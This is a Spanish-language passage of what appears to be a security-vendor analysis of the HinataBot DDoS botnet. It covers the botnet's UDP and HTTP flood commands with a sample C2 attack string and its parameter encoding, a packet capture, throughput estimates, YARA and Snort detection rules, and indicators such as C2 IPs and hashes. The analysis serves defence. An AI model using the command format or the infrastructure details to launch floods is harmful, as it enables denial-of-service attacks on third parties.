También vale la pena señalar que, debido a que se utiliza net.http.Client de Go, la configuración de este tipo de ataque se realiza a través de la directiva de destino y admitirá cualquier cosa que haga esta completa y capacitada biblioteca. Esto incluye HTTPS, seguimiento de redireccionamiento, resolución de dominio, encabezados de autenticación HTTP, etc. En el comando de ataque de la Figura 32, el movimiento a https:// hace que la biblioteca integrada utilice TLS, el puerto de destino 443 y, puesto que hemos incluido user:pass@ en la directiva de destino, el tráfico incluirá también un encabezado Authorization: Basic dXNlcjpwYXNz .
En el momento de la redacción de este documento, parece que el método de solicitudes de ataque está integrado como parte del código y, por lo tanto, limitado a las solicitudes HTTP GET… Al menos, por ahora.
Tipo de ataque 1: udp_flood
El udp_flood requiere todos los campos descritos anteriormente, incluso si la opción proporcionada no existe (Figura 33). En el análisis y las pruebas, pudimos identificar un campo de opción única, que se utiliza para controlar el puerto de destino. Si no se transfiere ninguna opción, el binario no analiza el comando de ataque; en algunos casos, los valores transferidos mediante este campo incluso bloquean el bot.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Fig. 33: Estructura del comando de ataque para un ataque udp_flood
Este comando de ataque tiene un aspecto algo diferente al de la variante http_flood , debido principalmente al valor UDP_OPTIONS transferido (1531337) en el parámetro final. Este parámetro controla el puerto de destino al que se enviarán los paquetes UDP. El valor tiene en realidad tres partes: la primera parte es el tipo de parámetro (1), la segunda es la longitud (5) del valor, y la tercera es el propio valor (31337).
Parece que este cuarto parámetro es necesario para el análisis del comando, pero el valor se puede descartar, y si no se proporciona ningún valor de puerto aquí, el binario utilizará de forma predeterminada UDP/80 como el puerto de destino del ataque. Inicialmente, se suponía que, puesto que estos datos se transfieren de esta forma, encontraríamos otros parámetros de configuración adicionales para 1-9, pero parece ser que solo el parámetro de puerto (1) tiene algún efecto en el tráfico de ataque que sale del bot.
La captura de pantalla de la Figura 34 muestra la configuración del socket udp_flood . Este utiliza la biblioteca net de Go usando net.Dial para crear el socket UDP. A continuación, crea 512 trabajadores, que comparten el socket. Cada uno de ellos se ejecuta en un bucle que envía datos a través del socket hasta que el temporizador de duración les envía un comando de terminación, a través de un canal compartido. Los paquetes UDP (Figura 35) que salen del bot son muy grandes (65 549 bytes por paquete en total) y es probable que lleguen fragmentados a las víctimas a través de Internet. Este tamaño está integrado como parte del código dentro del binario y no está bajo el control del atacante por ataque.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Fig. 35: Captura de paquetes de ataque UDP
Los 65 507 bytes empaquetados en el segmento de datos UDP son todos bytes nulos (Figura 36). El encabezado del ID de IP se incrementa secuencialmente durante el ataque y, aunque el puerto de origen es efímero, permanece estático mientras dura la inundación. Es probable que todo esto sea un efecto secundario de la gestión que realiza net.Dial del socket UDP en todo el grupo de trabajadores del atacante. Otro aspecto que debe tenerse en cuenta son las sumas de comprobación fallidas en los datos UDP.
¿Cómo se han medido?
Para comparar estos dos métodos de ataque, ejecutamos dos ataques de 10 segundos, uno para cada método, extrayendo solo los flujos de ataque de la conexión en capturas de paquetes. De ese modo, pudimos ver el tamaño total del tráfico generado por tipo de ataque.
El http_flood generó 3,4 MB de datos de captura de paquetes, y envió 20 430 solicitudes HTTP. Los tamaños de las solicitudes oscilaban entre 484 y 589 bytes por solicitud, con tamaños que variaban principalmente debido a la aleatorización de los datos de encabezado de User-Agent y Cookie. Estas longitudes de paquetes de solicitud también se verán afectadas por la inclusión de encabezados adicionales (por ejemplo, datos básicos de autorización), la ruta URL y el relleno del parámetro GET, así como la inclusión de TLS, por lo que debe tomarlas con cautela.
Vale la pena señalar que el servidor objetivo durante este evento de ataque también era muy simple y de un solo subproceso; es posible que si el ataque estuviera dirigido a un servidor más capacitado para responder más rápido al grupo de trabajadores, estas cifras serían más altas.
El udp_flood generó 6733 paquetes para un total de 421 MB de datos de captura de paquetes a través de la conexión. No hay mucho más que decir que sea interesante acerca de este ataque: es de naturaleza volumétrica y parece funcionar de manera aceptable al aumentar el volumen. Como se ha indicado anteriormente, debido al tamaño de los paquetes generados por este ataque, es probable que las víctimas observen una avalancha de fragmentos durante los eventos de ataque en el mundo real.
Con nuestros conjuntos de muestras de 10 segundos y un tamaño teórico de la botnet, podemos empezar a calcular el tamaño de los ataques. Si la botnet contuviera solo 1000 nodos, la inundación UDP resultante pesaría alrededor de 336 Gbps por segundo. Con 10 000 nodos (aproximadamente el 6,9% del tamaño de Mirai en su pico), la inundación UDP pesaría más de 3,3 Tbps. La inundación HTTP con 1000 nodos generaría aproximadamente 2,7 Gbps y más de 2 Mrps. Con 10 000 nodos, esas cifras ascienden a 27 Gbps entregando 20,4 Mrps.
Estas capacidades teóricas obviamente no tienen en cuenta los diferentes tipos de servidores que participarían, sus respectivas capacidades de ancho de banda y hardware, etc., pero le permiten hacerse una idea. Esperemos que los autores de HinataBot adquieran nuevas aficiones y que no tengamos que lidiar con su botnet a escala real.
Conclusión
HinataBot es el ejemplo más reciente del cambiante panorama de amenazas, especialmente en relación con las botnets. Los autores de malware siguen innovando en el uso de métodos de implementación, lenguajes y métodos de distribución. Al apoyarse en técnicas más antiguas y probadas, como las que se utilizan en Mirai, los atacantes pueden centrarse más en seleccionar piezas que evadan la detección, evoluciona de forma continua y añadir nuevas funciones.
Al seguir explorando y analizando amenazas en constante evolución, como HinataBot, podemos comprender mejor las tácticas, técnicas y procedimientos de los atacantes para desarrollar defensas más sólidas contra ellos. La familia HinataBot se basa en vulnerabilidades antiguas y en forzar contraseñas débiles para la distribución. Este es otro ejemplo de por qué las políticas de contraseñas seguras y de aplicación de parches son más importantes que nunca. Los atacantes siempre buscan opciones al alcance de la mano con un alto retorno de la inversión, por lo que hacer más difícil que los ataques tengan éxito ayuda significativamente a mantener la seguridad de su entorno y de Internet.
Esto es probablemente solo el principio para HinataBot. El equipo SIRT de Akamai seguirá supervisando su evolución a lo largo del tiempo e informará de nuevos hallazgos cuando sea pertinente.
Los clientes de Akamai están protegidos frente a las dos capacidades de ataque que admite esta botnet.
Akamai mitiga los ataques no HTTP de forma transparente en el Edge, incluidas las inundaciones ICMP, UDP y TCP.
Akamai App and API Protector mitiga de forma automática ataques de capa 7 a aplicaciones web como este, a través de Akamai Client Reputation, controles de frecuencia, Akamai Bot Manager y reglas de firewall de aplicaciones web.
Si tiene más preguntas sobre las protecciones de esta botnet, póngase en contacto con su equipo de cuentas de Akamai para obtener más información.
IoC
reglas de YARA
Binarios de HinataBot
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
Scripts infectores de HinataBot
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Reglas de Snort
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Comunicaciones desde el servidor C2
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Comunicaciones con el servidor C2
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IP
77.73.131.247
156.236.16.237
185.112.83.254
Puertos
61420
1420
CVE
CVE-2017-17215
CVE-2014-8361
Nombres de archivo
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Hashes recientes
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67